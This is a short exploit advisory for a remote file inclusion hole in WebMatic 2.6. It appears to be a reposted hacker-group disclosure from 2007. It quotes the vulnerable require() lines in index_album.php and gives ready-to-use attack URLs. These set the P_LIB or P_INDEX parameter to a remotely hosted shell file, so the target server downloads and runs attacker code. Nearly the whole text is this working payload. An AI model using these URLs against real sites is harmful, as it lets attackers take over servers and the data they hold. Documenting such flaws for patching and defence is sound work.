WebMatic 2.6 (index_album.php) Remote File Include Vulnerability

Feb 07 2007 19:55:19
Source: ace

-------------------------------------********************----------------------------------------------------------
#Title : WebMatic 2.6

#Author : MadNet

#Contact : MadNet[at]Hackertr[Dot]org

#S.Page : www.valarsoft.com :)

--------------------------------------*******************-----------------------------------------------------------

Error1 : require($P_LIB."lib_album.php");

Error2 : require($P_INDEX."page_album.inc");

[[RFI]]

http://[target]/[path]/core/index/index_album.php?P_LIB=[Shell]

http://[target]/[path]/core/index/index_album.php?P_INDEX=[Shell]

-------------------------------------------------

Example1 : [Path]/core/index/index_album.php?P_LIB=http://[path]/shell.txt

Example2 : [Path]/core/index/index_album.php?P_INDEX=http://[path]/shell.txt

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

-- MadNet From Turkey & Cyber-Sabotger Orgeneral --

» full story @ source-link: ace

Comments

Add Comment

You must be registered and logged in to add comments!

Register
Login